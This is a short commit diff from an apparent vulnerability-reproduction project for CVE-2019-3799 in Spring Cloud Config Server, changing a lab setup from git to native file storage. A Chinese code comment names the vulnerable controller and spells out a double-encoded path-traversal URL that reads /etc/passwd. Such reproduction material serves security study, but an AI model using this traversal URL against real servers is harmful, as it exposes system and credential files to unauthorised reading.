fix

Author: “threedr3am”

spring/spring-cloud-config-server(CVE-2019-3799)/src/main/java/com/threedr3am/bug/spring/config/server/package-info.java

@@ -1,8 +1,6 @@
 /**
  * 触发点 org.springframework.cloud.config.server.resource.ResourceController
  *
- * todo 条件：需要使用git等版本库存储，经测试使用本地存储不成功
- *
  * url中第三个label，也就是/{application}/{profile}/{label}/..%252f..%252fetc%252fpasswd中的label需要存在的分支，
  * 一般情况下master存在，因此url为：/threedr3am/dev/master/..%252f..%252f..%252f..%252f..%252f../etc/passwd
  *

spring/spring-cloud-config-server(CVE-2019-3799)/src/main/resources/application.yml

@@ -1,8 +1,12 @@
 spring:
+  profiles:
+    active: native
   cloud:
     config:
       server:
-        git:
-          uri: https://github.com/threedr3am/share-project
+        native:
+          search-locations: file:///tmp
+#        git:
+#          uri: https://github.com/threedr3am/share-project
 server:
   port: 9988